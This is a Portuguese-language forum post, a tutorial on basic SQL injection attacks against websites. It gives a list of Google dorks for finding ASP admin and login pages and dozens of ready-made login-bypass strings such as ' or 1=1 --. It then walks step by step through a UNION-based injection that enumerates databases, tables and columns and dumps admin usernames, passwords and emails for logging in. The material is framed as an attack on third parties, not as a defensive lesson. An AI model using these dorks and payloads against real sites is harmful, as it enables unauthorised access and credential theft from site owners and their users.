Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Ataque SQLi básico

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Ataque SQLi básico

    || Paper sobre Ataques SQLi Básicos ||


    || (Pt1 - Utilizando Serviços s/ Registro ) ||
    || (Pt2 - Acessando a Base de Dados )

    P4R73 1 - U71L1Z4ND0 $3RV1C0$ $3M R3G1$S7R0


    (Econtrando sites vulneraveis)

    (Injetando código e conseguindo acesso aos serviços)

    ||1- Encontrando Sites Vulneraveis: ||
    Para esta aplicação do SQLi oque procura-se na verdade, são paginas de admin/login...
    as quais sofrerão o inject nos campos de usuario e senha. Pode-se procurar com
    admin/login - dorks, ou sqli scanners. Seguem algumas boas dorks:

    allinurl:/webadmin/default.asp allinurl:/menu_admin/default.asp
    allinurl:/menu_admin/login.asp allinurl:/menu_admin/index.asp
    allinurl:/news/admin/ allinurl:/noticias/admin/
    allinurl:/portal/admin/ allinurl:/cadastro/admin/
    allinurl:/home/admin.asp allinurl:/site/admin/
    allinurl:/home/admin/default.asp allinurl:/home/admin/index.asp
    allinurl:/web/admin/index.asp allinurl:/home/admin/login.asp
    allinurl:admin/default.asp allinurl:admin/index.asp
    allinurl:admin/login.asp allinurl:admin/admin.asp
    allinurl:/admin/default.asp allinurl:/admin/entrar.asp
    allinurl:/admin/login.asp allinurl:/admin/index.asp
    allinurl:/admin/senha.asp allinurl:/admin/password.asp
    allinurl:/adm/default.asp allinurl:/login/login.asp
    allinurl:/login/default.asp allinurl:/login/index.asp
    allinurl:/webadmin/default.asp allinurl:/webmaster/login.asp
    allinurl:/webadmin/default.asp allinurl:/webadmin/index.asp

    OBS.: Caso caia direto na pagina de admin/login, há grandes chances de vulnerabilidade.

    ||2- Injetando código e conseguindo acesso aos serviços: ||

    O ataque aqui acontece apenas com a inserção de códigos SQL que venham alterar a sintaxe das expressões booleanas ( verdadeiro ou falso ) resultantes, pois assim é feito o controle de quem deve ou não ter acesso aos serviços de determinado site. Vou deixar aqui algumas strings prontas para inserção nos forms de user e senha , lembrando que A MESMA STRING DEVE SER INSERIDA NOS DOIS CAMPOS. Caso o atacante domine a linguagem SQL, podem ser boladas várias outras strings.
    Seguem as strings, cada linha tem duas strings diferentes:

    hi ' or 1=1 -- hi ' or ' a'='a
    hi") or ("a"="a hi ') or (' a'='a
    ' or 0=0 -- admin ' - -
    or 0=0 -- "or 0=0 --
    b' or ' 1=' ' or ' 1
    ' or '| ' or '1
    ' or ''=' ' or 'a'='a
    ') or ('a'='a ' or 1=1--
    ' or 0=0 # ' or '1'='1
    or 0=0 # "or 0=0 #
    "or" x"="x ' or ' x'='x
    "or" a"="a ') or (' x'='x
    ") or ("a"="a ') or (' a'='a
    hi "or 1=1 -- hi "or" a"="a
    "or 1=1 -- ' or 1=1 --
    ' or a=a -- or 1=1 --
    "or 1=1 -- ' or 1=1 --
    ' or a=a -- or 1=1 --
    ‘ or ’1 b’ or ‘ 1=’
    ‘ or ‘a’=’a ‘ or ‘|
    ‘ or 1=1– ‘ or ”=’
    ‘ or ’1′=’1 ‘) or (‘a’=’a
    ‘ or 0=0 – admin ‘ – -
    or 0=0 – “or 0=0 –
    “or 0=0 # ‘ or 0=0 #
    ‘ or ‘ x’=’x or 0=0 #
    ‘) or (‘ x’=’x “or” x”=”x
    “or 1=1 – ‘ or 1=1 –
    ‘ or a=a – or 1=1 –
    ‘) or (‘ a’=’a “or” a”=”a
    hi “or” a”=”a “) or (“a”=”a
    hi ‘ or 1=1 – hi “or 1=1 –
    hi ‘) or (‘ a’=’a hi ‘ or ‘ a’=’a
    ‘ or ‘x’=’x hi”) or (“a”=”a

    P4R73 2 - 4C3$$4ND0 4 34$3 D3 D4D0$

    (Acessando o WebSite --> 1,2,3)
    (Capturando Informações do alvo --> 4,5)
    ( O Trabalho Sujo --> 6,7,8,9)
    *** Acessando o WebSite ***

    Encontrando Sites Vulneráveis:

    Para tal feito, pode-se utilizar de sqli-dorks no google, ou sqli scanners.
    Após encontrar a url do site, joge ao final do parametro um " ' ", se sair

    um erro do Banco de Dados, o site é vulneravel.
    Ex.: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...' ou

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    Warning: mysql_fetch_array(): supplied argument
    is not a valid MySQL result resource in
    /home1/michafj0/public_html/gallery.php on line 7

    ||2- Determinando o numero de colunas: ||

    Para descobrirmos o numero de colunas, utilizaremos do comando "ORDER BY X--"
    do sql, X sera o numero da coluna, iremos iterando-o ate sair uma mensagem de erro, ao sair do erro, o numero de colunas sera igual a (X - 1).

    Ex.: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ORDER BY 1-- <---No error

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ORDER BY 2-- <---No error

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ORDER BY 3-- <---No error

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ORDER BY 4-- <---No error

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ORDER BY 5-- <---ERROR!

    Obs.: O numero de colunas sera ( 5 - 1 = 4).

    ||3- Procurando por Colunas vulneráveis: ||

    Faremos tal procura utilizando das querys SELECT e UNION, que unirão todos os dados necessários em um só local. Sem esquecer do hífen duplo ao final dos numeros de colunas.
    Ex.:
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... UNION SELECT 1,2,3,4--

    OBS.: Após a injeção deste código, os numeros que aparecerem na página serão referentes as colunas vulneráveis á injeção de código, através delas, iremos conseguir informações.
    || ***Capturando Informações do Alvo*** ||
    ||4- Determinando a versão SQL do servidor: ||

    ================================================
    A descoberta da versão SQL que esta rodando no servidor é um passo muito importante
    pois, por exemplo, as injeções a serem feitas para determinado objetivo são diferen-
    tes para o SQL na versão 4 e para o SQL na versão 5, aqui serão abordadas aplicações
    ao SQL 5 pelo fato deste, ser mais atual. Tanto neste como no passo seguinte oque fa-
    remos nada mais será do que substituir as colunas vulneráveis por constantes SQL que
    trarão as informações desejadas.Caso não apareca o nome da versão, tente com as
    funções unhex() e hex().


    Ex.:
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... UNION SELECT 1,@@version,3,4--
    ou
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... UNION SELECT 1,unhex(hex(@@version)),3,4--

    Obs.: Caso apareça a versão 5 está ok, caso contrario pesquise outro material que ensine a injeção neste para tal versão

    ||5- Procurando o nome das bases de Dados: ||
    Este passo não é tão necessário para conseguir nossos objetivos, mas será interessante para eventuais necessidades suas, abordá-lo. Primeiro pegaremos o nome de todas as data- bases e depois o nome da database a qual estamos atualmente.


    Ex.:
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... UNION SELECT 1,group_concat(schema_name),3,4 from

    information_schema.schemata--

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... UNION SELECT 1,concat(database()),3,4--

    || *** O Trabalho Sujo *** ||

    ||6- Procurando o nome das tabelas: ||
    O processo é semelhante ao passo anterior apenas com um pouco de código SQL a mais.

    Ex.:
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables

    WHERE table_schema=database()--

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE

    table_schema=database() LIMIT 0,1--

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE

    table_schema=database() LIMIT 30,1--

    ||7- Procurando o nome das colunas:
    Agora que nós já temos todos os nomes das tabelas, podemos escolher as que conteem
    o conteudo de nosso interesse e let's play.

    Ex.:
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... UNION SELECT 1,group_concat(column_name),3,4 FROM

    information_schema.columns WHERE table_name="Admin"--

    Obs.: Caso neste ponto você receba erros de sintaxe, acesse este site: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    Faça a conversão do nome da tabela, para hexadecimal e tente novamente.

    ||8- Pegando o conteudo das colunas: ||

    =========================================
    Estamos quase lá, a única coisa que teremos que fazer é pegarmos o conteudo presente nas colunas
    da tabela escolhida e logarmos, ou não, depois.

    Ex.:
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... UNION SELECT 1,group_concat(username,0x3a,password,0x3a,email), 3,4 FROM

    db123.Admin--

    Obs.: Neste caso 0x3a é o valor hexadecimal referente a ":"

    ||8- Fazendo login com as informacoes: ||
    Esta e a ultima parte do papper, na verdade nn há muuito oque falar por aqui, é meio logico oq fazer apos encontrar as informacoes, mas varia de fins e fins... O que e de costume fazer e conseguir dados via url mesmo, repitindo e variando o passo a cima. Ou procurar, via metodo anterior, informacoes de admin banco de dados e entaum se conectar ao banco, conseguindo acesso a todos os dados de uma forma muito mais
    organizada e convencional.

    Outro ponto interessante de abordagem e' a questao de achar paginas de login, admin. Podem ser tentadas paginas do tipo login.php|asp, user.php|asp, admin.php|asp e outras muuitas possibilidades. Va ao oraculo de dois olhos G00GL3 e procure por: "admin pages list" para achar uma infinidade de nomes de paginas, ate encontrala. Caso vc seja aquele script kiddie nato, procure por "admin page Scanner". Apos encontrar, so felicidades.


    Creditos a Pseudo Backer...
X
Working...
X